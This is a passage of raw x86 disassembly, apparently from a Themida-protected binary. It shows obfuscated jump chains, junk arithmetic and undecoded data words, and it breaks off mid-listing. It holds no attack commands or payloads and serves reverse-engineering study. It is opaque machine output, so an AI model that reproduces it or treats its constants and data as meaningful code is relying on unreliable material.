loc_511AEB: ; CODE XREF: Themida_:005130DEj pop eax jmp loc_51EFF2 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0B4h dd 55FFFFFFh, 5D2414F7h, 5107E5C1h, 59C6855h, 815D5412h dd 9A4699CDh, 8AC58113h, 0E9DE1434h, 0D551h ; --------------------------------------------------------------------------- loc_511B18: ; CODE XREF: Themida_:00513692j shr eax, 2 sub esp, 4 mov [esp], ebp mov ebp, 30A52F5Dh add eax, ebp pop ebp push eax pop ebp push dword ptr [esp] pop eax push edi push 6F5Fh mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] jmp loc_517DBC ; --------------------------------------------------------------------------- loc_511B44: ; CODE XREF: Themida_:0052063Bj sub eax, 44C6BE58h mov edi, 0D6B78B3h xor edi, eax mov eax, [esp] push edi mov edi, esp push ebp mov ebp, 10939A3h shr ebp, 3 and ebp, 6A2B3899h jmp loc_51A836 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8ECE9h, 0E9E38900h, 9831h, 69FB68h, 30E95400h db 26h, 1, 0 ; --------------------------------------------------------------------------- loc_511B87: ; CODE XREF: Themida_:00520812j mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_51FCCB ; --------------------------------------------------------------------------- dd 241C875Dh, 0E689565Ch, 4C681h, 0C6830000h, 24348704h dd 815EE9h db 0 ; --------------------------------------------------------------------------- loc_511BAD: ; CODE XREF: Themida_:0051E963j and eax, 692D448Ch xor eax, 7A71518Dh add eax, 0F053A9FFh add ebp, eax jmp loc_516D60 ; --------------------------------------------------------------------------- loc_511BC3: ; CODE XREF: Themida_:005171CFj mov edi, esp push ebx push edi mov edi, 77237E35h or edi, 74C907C3h push edi jmp loc_51C7BA ; --------------------------------------------------------------------------- loc_511BD8: ; CODE XREF: Themida_:0051594Dj xor edx, ecx pop ecx xor edx, 19DBF00Dh add edi, edx mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp push ebp mov ebp, 4 add esi, ebp jmp loc_5220CE ; --------------------------------------------------------------------------- loc_511BFE: ; CODE XREF: Themida_:00521ED8j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 push 10D9h mov [esp], ebx mov ebx, 4 add ecx, ebx pop ebx push esi mov esi, 7CB400F2h add esi, 7ED5224Ch jmp loc_51A9D6 ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 40E8E9h, 24148B00h, 0D04C483h, 50326EBAh dd 82D1E992h, 815C0000h, 4C4h, 0E7895700h, 4C781h, 0C7810000h dd 4, 5C243C87h, 9C240429h, 1574E9h db 0 ; --------------------------------------------------------------------------- loc_511C75: ; CODE XREF: Themida_:00519974j shr edx, 1 cmp eax, edx jz loc_520A1C mov dword ptr [edi+20h], 614330BAh push ecx mov ecx, 20h sub ecx, 1BCD471Bh jmp loc_519734 ; --------------------------------------------------------------------------- db 5 dd 4, 0FFFDE5E9h, 38ABBDFFh, 0A4E95DE9h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511CAB: ; CODE XREF: Themida_:0051CBBDj push dword ptr [esp+4] push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_523A96 ; --------------------------------------------------------------------------- loc_511CCA: ; CODE XREF: Themida_:0051436Bj sub edx, 1836B181h jmp loc_51F4C5 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 28581DEBh, 0E198E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511CE6: ; CODE XREF: Themida_:0051A72Ej xchg ebp, [esp] jmp loc_523311 ; --------------------------------------------------------------------------- loc_511CEE: ; CODE XREF: Themida_:005186C9j sub esi, edi add esi, 584D19EEh mov edi, [esp] jmp loc_519029 ; --------------------------------------------------------------------------- loc_511CFE: ; CODE XREF: Themida_:005223B5j add ecx, eax mov eax, [esp] add esp, 4 push 44BDh mov [esp], edi jmp loc_517A41 ; --------------------------------------------------------------------------- loc_511D16: ; CODE XREF: Themida_:005158B6j push ebx mov ebx, 4 jmp loc_5177D9 ; --------------------------------------------------------------------------- loc_511D21: ; CODE XREF: Themida_:0051447Aj mov ebx, 24h sub ebx, 73455D8h add ebx, edi add ebx, 73455D8h push dword ptr [ebx] push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 push 7E06h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5138F7 ; --------------------------------------------------------------------------- loc_511D6E: ; CODE XREF: Themida_:005243DCj mov ecx, 3E0568Fh sub esi, ecx jmp loc_519BF5 ; --------------------------------------------------------------------------- loc_511D7A: ; CODE XREF: Themida_:0051FFB0j sub ebp, 0A4E375Bh mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_51F1D9 ; --------------------------------------------------------------------------- dw 0C89h dd 0C7885324h, 505BFD88h, 0E288EC88h, 0C63AE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511DAE: ; CODE XREF: Themida_:0051EBBDj pop eax pop ebp push edi mov edi, 4 sub ebp, 0FA56185h jmp loc_51A671 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0E5h dd 496C7175h, 2ADC581h, 814D0468h, 3BCC59C5h, 0E9EF891Dh dd 0A540h, 5585450h, 4, 405h, 3C67E900h, 0E9550000h, 89D4h dd 5C240C87h, 0E9241487h, 0C671h ; --------------------------------------------------------------------------- loc_511E00: ; CODE XREF: Themida_:00519678j pop dword ptr [esp] jmp loc_51D897 ; --------------------------------------------------------------------------- dd 5624248Bh, 10601E9h, 240C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add bx, dx pop edx jmp loc_51B4C2 ; --------------------------------------------------------------------------- loc_511E30: ; CODE XREF: Themida_:00522B5Bj xor eax, ebx pop ebx add edi, eax mov eax, [esp] add esp, 4 add edi, 29B17FBDh inc edi sub esp, 4 mov [esp], eax jmp loc_51213B ; --------------------------------------------------------------------------- loc_511E50: ; CODE XREF: Themida_:0051E3ACj jmp loc_50F70C ; --------------------------------------------------------------------------- loc_511E55: ; CODE XREF: Themida_:0051BB11j push dword ptr [esp] pop ecx add esp, 4 movzx eax, al jmp loc_515276 ; --------------------------------------------------------------------------- dd 0E924048Fh, 9E94h ; --------------------------------------------------------------------------- loc_511E6C: ; CODE XREF: Themida_:0051A593j sub edx, 43BE7D4Dh sub edx, ecx add edx, 43BE7D4Dh pop ecx mov ecx, edx jmp loc_5120C1 ; --------------------------------------------------------------------------- loc_511E82: ; CODE XREF: Themida_:00514179j xor edi, edx pop edx shl edi, 4 not edi jmp loc_5117FE ; --------------------------------------------------------------------------- db 35h dd 72A90CB5h, 7742C781h, 0C7016A77h, 7742EF81h, 48B6A77h dd 457DE924h, 0E7890000h, 4C781h, 0EF830000h, 74FF5704h dd 8F5F0424h, 895C2404h, 13BF243Ch, 6843BD26h, 2D99h, 0E9242C89h dd 0D6A8h, 0E95EF529h, 4967h, 50241489h, 0D826E99Ch, 0EE89FFFFh dd 0CAE8E9h db 0 ; --------------------------------------------------------------------------- loc_511EED: ; CODE XREF: Themida_:0051B83Dj xor edx, 8EE2FBDh add eax, edx pop edx add eax, edi push ebp jmp loc_512EA2 ; --------------------------------------------------------------------------- dw 4BFh dd 5000000h, 0FE71764h, 642DF801h, 8B0FE717h, 0C483243Ch dd 823E904h db 1, 0 ; --------------------------------------------------------------------------- loc_511F1A: ; CODE XREF: Themida_:00518BB6j mov [esp], edx mov edx, 6D144977h sub ecx, edx mov edx, [esp] jmp loc_51929A ; --------------------------------------------------------------------------- dd 4C181h, 0C1830000h, 240C8704h, 25F5815Ch, 56518B15h dd 0F389EE89h, 34FF5D5Eh, 240C8B24h, 565B5453h, 5D555FBEh dd 0C90CE90Ah, 0DBB30000h, 244BB050h, 0B51DE974h, 0EA800000h dd 6E2C035h, 0B7368h, 3FE4E900h, 515D0000h, 294A5CB9h dd 244C2956h, 240C8B08h, 4C481h, 32E90000h, 5E000030h dd 5084E9h, 4C48300h, 0E958C689h, 0A1D5h, 3EBBEB81h, 0CB015EB0h dd 3EBBC381h, 0B6E95EB0h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_511FB3: ; CODE XREF: Themida_:0050F9C1j mov [esp], esi jmp loc_513520 ; --------------------------------------------------------------------------- loc_511FBB: ; CODE XREF: Themida_:0052333Aj jmp loc_50F70C ; --------------------------------------------------------------------------- dd 36E9FD01h db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511FC7: ; CODE XREF: Themida_:005170BCj mov [esp], ecx mov ecx, 11FA2A89h dec ecx add ecx, 0FFFFFFFFh not ecx push edi mov edi, 0FFFFFFFFh sub ecx, 7E4A00DEh add ecx, edi add ecx, 7E4A00DEh pop edi push edi mov edi, 2D9B16DCh push 7B70h mov [esp], edx mov edx, 4B766D12h jmp loc_521B7F ; --------------------------------------------------------------------------- loc_512005: ; CODE XREF: Themida_:005108A3j mov [esp], esi sub esp, 4 mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx jmp loc_5118E8 ; --------------------------------------------------------------------------- db 68h, 2Ch, 31h dd 30E90000h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_512027: ; CODE XREF: Themida_:0051674Fj add esp, 4 push 28BCh mov [esp], esi mov esi, 0B8A0587h xor esi, 18523296h shl esi, 5 xchg ebp, esi dec ebp xchg ebp, esi push 0 sub [esp], esi pop esi jmp loc_51B7BF ; --------------------------------------------------------------------------- db 66h dd 1B1AE959h, 3C890000h, 7326BF24h, 7C29020Dh, 0DAE90424h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51206B: ; CODE XREF: Themida_:0051EA8Fj add ebp, 78943E22h pop eax push ebx jmp loc_5176CD ; --------------------------------------------------------------------------- dd 240C8B66h, 46DA68h, 241C8900h, 5FE9E389h, 0B800005Bh dd 410909E6h, 5658C589h, 0C681E689h, 4, 4EE81h, 34870000h dd 14895C24h, 10DEBA24h, 0F74A2837h, 0CFF52D2h, 0F2815A24h dd 29FA6049h, 1007AE9h db 0 ; --------------------------------------------------------------------------- loc_5120C1: ; CODE XREF: Themida_:00511E7Dj pop edx add ecx, 0FFF9DAD2h sub eax, 796704D4h jmp loc_514601 ; --------------------------------------------------------------------------- dw 15Dh dd 0E904245Ch, 5383h, 80E9E389h, 510000A6h, 886D30B9h dd 5BC98116h, 816B5F18h, 0B21B82F1h, 47F8E968h, 80680000h dd 591A6B30h, 300BE9h db 0 ; --------------------------------------------------------------------------- loc_512105: ; CODE XREF: Themida_:00520842j sub edx, 2310A84Fh sub esi, 0C3C7398h push ebx mov ebx, 5C2C7D3Bh sub esi, ebx pop ebx add esi, edx add esi, 5C2C7D3Bh add esi, 0C3C7398h pop edx push 6310h jmp loc_519CA5 ; --------------------------------------------------------------------------- db 89h dd 91E952E3h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51213B: ; CODE XREF: Themida_:00511E4Bj mov eax, 0D5B2358h sub eax, 883F2103h add edi, eax jmp loc_51B865 ; --------------------------------------------------------------------------- loc_51214C: ; CODE XREF: Themida_:00515F4Ej push ebp jmp loc_51C1F6 ; --------------------------------------------------------------------------- dw 34FFh dd 89575B24h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 0A640E9h dd 0E9028F00h, 0FFFFD598h, 723582Dh, 24348B02h, 4C481h dd 57560000h, 237E0DBFh, 13F1E97Eh, 248B0000h, 24040824h dd 83A7E99Ch, 0E9570000h, 0C013h, 2E3C166h, 0AEF38166h dd 66536611h, 61243481h, 665A661Ah, 1A61F281h, 0E953665Bh dd 2E33h ; --------------------------------------------------------------------------- loc_5121C0: ; CODE XREF: Themida_:005211FEj mov ch, 0FDh jmp loc_51AD56 ; --------------------------------------------------------------------------- db 83h dd 48E904E8h, 0B20000AAh, 0E9D0007Bh, 93A2h ; --------------------------------------------------------------------------- loc_5121D8: ; CODE XREF: Themida_:00517A60j mov edx, 0E075D7Bh neg edx and edx, 2C1D6CAEh neg edx add edx, 31A33365h jmp loc_5131EE ; --------------------------------------------------------------------------- dw 34FFh dd 0E59CE924h, 55BBFFFFh, 5507A95Fh, 9C1D09BDh, 0BEBF5763h dd 1A03E47h, 63CBE9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_512212: ; CODE XREF: Themida_:0051A6E3j push eax push dword ptr [esp+4] mov eax, [esp] push edi push esp mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 jmp loc_5147F6 ; --------------------------------------------------------------------------- dw 0E3C1h dd 0FE38102h, 680CFD3Eh, 3014h, 0E9240C89h, 0E651h ; --------------------------------------------------------------------------- loc_51224C: ; CODE XREF: Themida_:0051C07Fj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_51F7B7 ; --------------------------------------------------------------------------- dd 4C381h, 1C870000h, 0FDE95C24h, 66000089h, 5224048Bh dd 0C281E289h, 4, 69BDE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51227A: ; CODE XREF: Themida_:00523727j mov ebp, [esp] push edi mov edi, esp push ebp mov ebp, 0B4F0891h and ebp, 35841C6h shr ebp, 6 sub ebp, 6BA75C75h not ebp or ebp, 69396721h jmp loc_512963 ; --------------------------------------------------------------------------- dw 0BD2Dh dd 6840B979h, 1A99h, 68243C89h, 228Bh, 68242C89h, 62463DEAh dd 6855525Dh, 5FEC0073h, 5E88E9h, 0DFF75900h, 0E903EFC1h dd 0D636h, 2DE9FE09h, 1000109h, 0E1BEE9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5122E2: ; CODE XREF: Themida_:00516F9Aj add esi, eax push dword ptr [esp] pop eax add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_518F96 ; --------------------------------------------------------------------------- db 0C1h dd 0ED8104E5h, 0E6CCD45Ch, 25E2EA81h, 0EA01089Fh, 25E2C281h dd 0E95D089Fh, 6221h, 0E9565F5Ah, 0FFFFE9B5h, 24248B66h dd 0FFD3E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_512329: ; CODE XREF: Themida_:0051929Bj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_510179 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 1A2D6824h, 0C890000h, 4EC8124h, 89000000h, 4812424h dd 424h, 25D0E900h, 0F3010001h, 0DD86E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_512362: ; CODE XREF: Themida_:00519562j push ebx mov ebx, 468716F5h neg ebx neg ebx sub ebx, 450A22ABh jmp loc_512D88 ; --------------------------------------------------------------------------- loc_512377: ; CODE XREF: Themida_:0051F15Aj pop edi jmp loc_51D182 ; --------------------------------------------------------------------------- db 50h, 0B0h, 0EAh dd offset dword_4A105C+58Dh dd 1EA8000h, 5AD43059h, 0E9E58851h, 0B01Eh, 0BE243489h dd 4, 6B0BEF81h, 0F70104C6h, 461ABA52h, 8DE93DB9h, 0B8000013h dd 47595CC4h, 9438CB35h, 58C12943h, 241CF751h, 592434FFh dd 4C481h, 56E90000h, 5B000057h, 8B24048Fh, 4872424h, 24248B24h dd 24048966h, 0FFD327E9h, 4E2C1FFh, 0EA81E2D1h, 0BBAEFCC2h dd 535A5852h, 2412E9h, 8212D00h, 44E91156h db 0D2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_512403: ; CODE XREF: Themida_:0051C841j push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_50F70C ; --------------------------------------------------------------------------- loc_512420: ; CODE XREF: Themida_:0051F81Cj push esp pop esi add esi, 4 push edx mov edx, 4 jmp loc_5192F3 ; --------------------------------------------------------------------------- loc_512433: ; CODE XREF: Themida_:0051DAA1j push dword ptr [esp] jmp loc_5171D4 ; --------------------------------------------------------------------------- db 54h dd 6824048Fh, 6BA8h, 0B1EDE9h, 0C7F18100h, 8948288Eh, 240C8BCAh dd 4C481h, 0F2310000h, 0C844E9h, 4EC8100h, 89000000h, 4BA2414h dd 81000000h, 0B766E2C6h, 0E9D60152h, 477Ch, 2D0DB850h dd 0DA0D2722h, 2D3C7A6Ah, 0D7AE086Ah, 408E9h, 24048900h dd 3638E9h, 0FED6F600h, 80D6F6CEh, 91E932E6h, 680000D4h dd 4C09h, 68240C89h, 37316A04h, 592434FFh, 4C481h, 0F1810000h dd 3C353C09h, 0D989E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5124CA: ; CODE XREF: Themida_:00521611j pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 push 1DDBh mov [esp], ecx push esi push 8D55693h jmp loc_51253A ; --------------------------------------------------------------------------- loc_5124FC: ; CODE XREF: Themida_:00519216j add ebp, 2 xchg ebp, [esp] mov esp, [esp] cmp cl, al pushf jmp loc_50F70C ; --------------------------------------------------------------------------- dd 0E904C283h, 0B4A3h ; --------------------------------------------------------------------------- loc_512518: ; CODE XREF: Themida_:00522C20j add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_5103D3 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 8904EC83h, 4AB42404h, 11D4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51253A: ; CODE XREF: Themida_:005124F7j pop esi dec esi inc esi push ecx mov ecx, 0F72AA971h add esi, ecx pop ecx mov ecx, esi mov esi, [esp] add esp, 4 add edx, 774830CBh add edx, 1F0E10ADh add edx, 67BB6957h add edx, ecx jmp loc_5164FB ; --------------------------------------------------------------------------- loc_51256A: ; CODE XREF: Themida_:00514373j mov edi, 4E1F1780h inc edi shr edi, 7 add edi, 64601AB6h jmp loc_51FB5D ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 0FFD20CE9h db 0FFh ; --------------------------------------------------------------------------- loc_512589: ; CODE XREF: Themida_:00516A25j neg ebx and ebx, 53216CA8h xor ebx, 6424h jmp loc_52104A ; --------------------------------------------------------------------------- dd 0DE89EB89h, 0CE295D5Bh, 81240C8Bh, 4C4h, 2E2F2D00h dd 0F0010BE1h, 0E12E2F05h, 24348B0Bh, 504C483h, 4, 31240433h dd 4332404h, 24248B24h, 8B2434FFh, 54502404h, 0E924048Bh dd 8446h, 3F27E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5125E6: ; CODE XREF: Themida_:00518204j add esp, 4 sub esp, 4 mov [esp], edi push edx mov edx, 2CFB2E18h xor edx, 7B660379h jmp loc_50FA9A ; --------------------------------------------------------------------------- loc_512603: ; CODE XREF: Themida_:005106C2j pop ecx jmp loc_51BD54 ; --------------------------------------------------------------------------- db 89h, 0CDh, 59h dd 2C8BEE01h, 4C48124h, 0E9000000h, 51E9h ; --------------------------------------------------------------------------- loc_51261C: ; CODE XREF: Themida_:0051DEC9j xchg ebp, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi jmp loc_519459 ; --------------------------------------------------------------------------- dw 0C8Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_521602 ; --------------------------------------------------------------------------- loc_512639: ; CODE XREF: Themida_:00514C5Ej mov edi, 3F0304B1h xor edi, 48143043h add edi, 30F04A35h add edi, 709D72E4h jmp loc_51F152 ; --------------------------------------------------------------------------- loc_512655: ; CODE XREF: Themida_:0051D70Aj pop esp push 19DDh mov [esp], esi push ecx mov ecx, 800h push edx mov edx, ecx mov esi, edx jmp loc_510997 ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 3BE958C2h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51267B: ; CODE XREF: Themida_:00521D71j mov ebx, 0E365D854h add ebx, 4C391CBCh add ebx, eax sub ebx, 4C391CBCh mov eax, [esp] add esp, 4 jmp loc_511701 ; --------------------------------------------------------------------------- loc_512699: ; CODE XREF: Themida_:0050FE06j mov esi, 3AD9109Dh add ecx, 1D7B00C0h add ecx, esi sub ecx, 1D7B00C0h pop esi push dword ptr [esp] jmp loc_51D6F9 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 81240C8Bh, 4C4h, 4C48100h, 87000000h, 72E9243Ch, 0B1FFFFE0h dd 59CF200Dh, 8055B252h, 0D720BFEAh, 21C7805Ah, 0C05BFC28h dd 0E4C005E4h, 8E4C007h, 0E952DCF6h, 9F86h ; --------------------------------------------------------------------------- loc_5126F4: ; CODE XREF: Themida_:0051E61Dj push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_5237AF ; --------------------------------------------------------------------------- dd 7FCF68h, 24048900h, 520569B8h, 58C22966h, 2BD555Bh dd 81000000h, 0A94737C2h, 51EA014Fh, 0F40C67B9h, 5E1C133h dd 4D38E181h, 0E1C1327Ch, 0AFF3E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51273E: ; CODE XREF: Themida_:00522011j push 7238h push esp jmp loc_51749C ; --------------------------------------------------------------------------- db 29h, 0CEh, 59h dd 0FCE9FE01h, 54000011h, 3841E9h db 0 ; --------------------------------------------------------------------------- loc_512759: ; CODE XREF: Themida_:0050FDBFj mov ecx, 22C828B5h sub ecx, ebx mov ebx, [esp] push eax mov eax, esp add eax, 4 jmp loc_5107F9 ; --------------------------------------------------------------------------- dd 105h, 52EB0500h, 0C3310580h, 4FF38158h, 1643753h, 6B70E9DDh dd 4BD0000h, 1000000h, 0FAFDE9EBh, 0E1C10000h, 4FC5E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51279E: ; CODE XREF: Themida_:00524033j xor ecx, 3EED31B3h sub ecx, 5F6022D6h add ecx, edi push edx jmp loc_52123B ; --------------------------------------------------------------------------- loc_5127B2: ; CODE XREF: Themida_:0051B701j pop eax jmp loc_51E0B3 ; --------------------------------------------------------------------------- dd 51241C8Bh, 0D558E9h, 66BA5200h, 0E925DF09h, 267Eh ; --------------------------------------------------------------------------- loc_5127CC: ; CODE XREF: Themida_:0051A54Fj xor edi, 0FB479ACDh add ebx, edi pop edi or ebx, 40F55DEAh add ebx, 0AD004015h mov eax, ebx jmp loc_5140DC ; --------------------------------------------------------------------------- dd 0AEBF5752h, 8115976Eh, 976EACF7h, 0E9FA8915h, 0F347h dd 0D412E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512802: ; CODE XREF: Themida_:00524574j add ebp, 4 xchg ebp, [esp] jmp loc_518AE3 ; --------------------------------------------------------------------------- dd 4240481h, 5A000000h, 2A22E9h db 0 ; --------------------------------------------------------------------------- loc_51281D: ; CODE XREF: Themida_:005227E1j xor [esp], edx jmp loc_515A6B ; --------------------------------------------------------------------------- db 58h, 5, 4 dd 0E9000000h, 0FFFFEE97h, 291AE068h, 0E8E95A20h, 51000057h dd 7F38F5B9h, 0ADC98179h, 81281977h, 0D64A99C1h, 0E9814143h dd 99689F61h, 3635C681h, 0CE0139BAh, 3635EE81h, 0C15939BAh dd 0FF5605EEh, 815E240Ch, 5B55A9EEh, 5FEE8170h, 52F130Bh dd 2072358h, 0F1E9F001h, 81FFFFF8h, 0D516FBC2h, 5AD0899Fh dd 2966E9h, 18B05000h, 0D66CE9h, 0E9C52100h, 86h ; --------------------------------------------------------------------------- loc_5128A0: ; CODE XREF: Themida_:005132D8j movzx eax, al jmp loc_519A10 ; --------------------------------------------------------------------------- loc_5128A8: ; CODE XREF: Themida_:00516BA2j push dword ptr [esp] pop ebp add esp, 4 push 6F29h mov [esp], edx push ebx mov ebx, 500E784Fh not ebx jmp loc_5104D3 ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 240C3324h, 6624248Bh, 53C8B60Fh, 0FFF7FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5128DD: ; CODE XREF: Themida_:00522E41j shl ebx, 2 jmp loc_52109E ; --------------------------------------------------------------------------- db 4Eh, 81h, 0F6h dd 6E7E6274h, 1443E953h, 0B9660000h, 816630D1h, 6671D8C9h dd 6602E9C1h, 2B36E981h, 0FF665166h, 59662404h, 54CDE9h dd 81D2F700h, 0EC953C2h, 5AD6015Fh, 0EC83EE29h, 34DFE904h dd 81580000h, 0F27DCDCDh, 8FE0E96Fh, 0E9540000h, 2519h dd 924E1ABFh, 60E95230h, 100006Bh, 34E95BDDh, 0BE000015h dd 380A4161h, 154CC681h, 0E9813B1Eh, 123B7326h, 92E9F129h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_512963: ; CODE XREF: Themida_:0051229Dj add ebp, 94448091h add edi, ebp pop ebp add edi, 4 xchg edi, [esp] pop esp jmp loc_50FD8E ; --------------------------------------------------------------------------- db 66h dd 8324148Bh, 0A3E902C4h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512987: ; CODE XREF: Themida_:0051BADDj pop dword ptr [esp] jmp loc_519C1D ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 5EDC15Ch, 3A14F581h dd 0EF8103C3h, 7DCE3589h, 0C781EF01h, 7DCE3589h, 74FF575Dh dd 8F5F0424h, 0E95C2404h, 434Ch, 0D97C7FB9h, 1DE98111h dd 8906E141h, 240C8BCEh, 0FD8EE9h, 90B55100h, 0F580CDFEh dd 59EA2873h, 10635E9h, 2B7FBA00h, 0E2C16CA0h, 0F2E95302h dd 56000041h, 8E500DBEh, 6EE8172h, 0E95F9335h, 0FFFFD32Ch dd 14FE685Eh, 0C890000h, 24B924h, 0B8500000h, 70D910C9h dd 158C601h, 22E951CEh db 0DFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_512A2B: ; CODE XREF: Themida_:0051E0A4j sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_51E35E ; --------------------------------------------------------------------------- loc_512A3E: ; CODE XREF: Themida_:005222CEj mov [esp], edi push esi sub dword ptr [esp], 3E7068FDh pop edi add edi, 3E7068FDh push 2B4Dh mov [esp], edi xor dword ptr [esp], 44881649h mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_51548F ; --------------------------------------------------------------------------- aMhK db '¬h^k',0 align 2 dw 1C89h dd 0B5515024h, 0E9C5FEC8h, 430Eh, 0C1E95A54h db 0Ch, 1, 0 ; --------------------------------------------------------------------------- loc_512A8B: ; CODE XREF: Themida_:00512CF7j and esi, 5AEC61AAh not esi add esi, 0D71BDB29h sub ebp, esi pop esi push edi mov edi, ebp jmp loc_516C7F ; --------------------------------------------------------------------------- dd 7FF46866h, 0EEFCE9h, 2916B800h, 0E8C15D08h, 0E8D14005h dd 37E168h, 1B7E900h, 0C5810001h, 73D85783h, 139CC581h dd 0C5015470h, 139CED81h, 0ED815470h, 73D85783h, 242C8758h dd 1333E9h, 48B6600h, 55B16824h, 1C890000h, 815B5424h dd 4C3h, 3ABC6800h, 0C890000h, 0E9575024h, 0D94Bh, 4BA52h dd 0D1010000h, 4EC815Ah, 89000000h, 0B3B82404h, 683CA650h dd 37FFh, 0E9242C89h, 18CDh, 1D3FDD05h, 639D050Ah, 0B62D0FBFh dd 0FF61B979h, 835D2434h, 20504C4h, 33000000h, 4312404h dd 24043324h, 2CD3665Ch, 0B1E99C24h, 68FFFFCBh, 273E7BE1h dd 5F2434FFh, 4C481h, 814F0000h, 0C18E5DC7h, 5FF88904h dd 0E512F625h, 0E0354828h, 891EDD61h, 0ED8158C5h, 530A5556h dd 0C581FD01h, 530A5556h, 0FFFA4BE9h, 82CD81FFh, 811A7C12h dd 0A62057EDh, 49C58104h, 31058844h, 242C8BE8h, 104C483h dd 685258C3h, 2, 12EB815Ah, 15AE525h, 12C381D3h, 0E95AE525h dd 0F60Ch, 4C4815Ah, 68000000h, 47C8h, 0A188E9h, 40DABD00h dd 0CD816131h, 3DA37031h, 0FFDD51E9h, 24348BFFh, 8704C483h dd 0D35C2414h, 0E99C242Ch, 0FFFFCB0Ch, 0E9240C89h, 54F7h dd 595BDE89h, 525EF101h, 4BAh, 5AD10100h, 81E68956h, 4C6h dd 4EE8100h, 56000000h, 42474FFh, 8324348Bh, 48F04C4h dd 0C895C24h, 2474FF24h, 8709E904h, 685F0000h, 3833h, 81243489h dd 4ECh, 241C8900h, 11FA4E9h, 7E2C000h, 4EC8153h, 89000000h dd 0E952240Ch, 9289h ; --------------------------------------------------------------------------- loc_512C6C: ; CODE XREF: Themida_:005113A5j shl edx, 6 neg edx xor edx, 19A46730h mov eax, edx pop edx push esi mov esi, 73A077C6h add eax, esi pop esi sub eax, 0FFFFFFFFh not eax not eax not eax push 764Ch jmp loc_519286 ; --------------------------------------------------------------------------- dw 2966h dd 0C28166CAh, 6EE919B7h, 0FFFFFFF1h, 815A2434h, 4C4h dd 2434FF00h, 8324148Bh, 0C48104C4h, 4, 1AE0C281h, 45E92029h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_512CC7: ; CODE XREF: Themida_:005166E0j add esp, 4 sub esi, edi pop edi jmp loc_510976 ; --------------------------------------------------------------------------- loc_512CD5: ; CODE XREF: Themida_:0051A68Fj push ebp push 58857CA9h pop ebp sub ebp, 69724895h push esi mov esi, 2A9E2DA8h shl esi, 4 or esi, 3A576BB7h sub esi, 8786ED9h jmp loc_512A8B ; --------------------------------------------------------------------------- dd 4C481h, 53430000h, 1240483h, 0E1C3815Bh, 0E925A7A6h dd 599Ch ; --------------------------------------------------------------------------- loc_512D14: ; CODE XREF: Themida_:00521A7Dj push eax jmp loc_520122 ; --------------------------------------------------------------------------- loc_512D1A: ; CODE XREF: Themida_:0051BF76j add ecx, 4 jmp loc_51B331 ; --------------------------------------------------------------------------- loc_512D22: ; CODE XREF: Themida_:00512EB3j mov esi, 5073000Eh 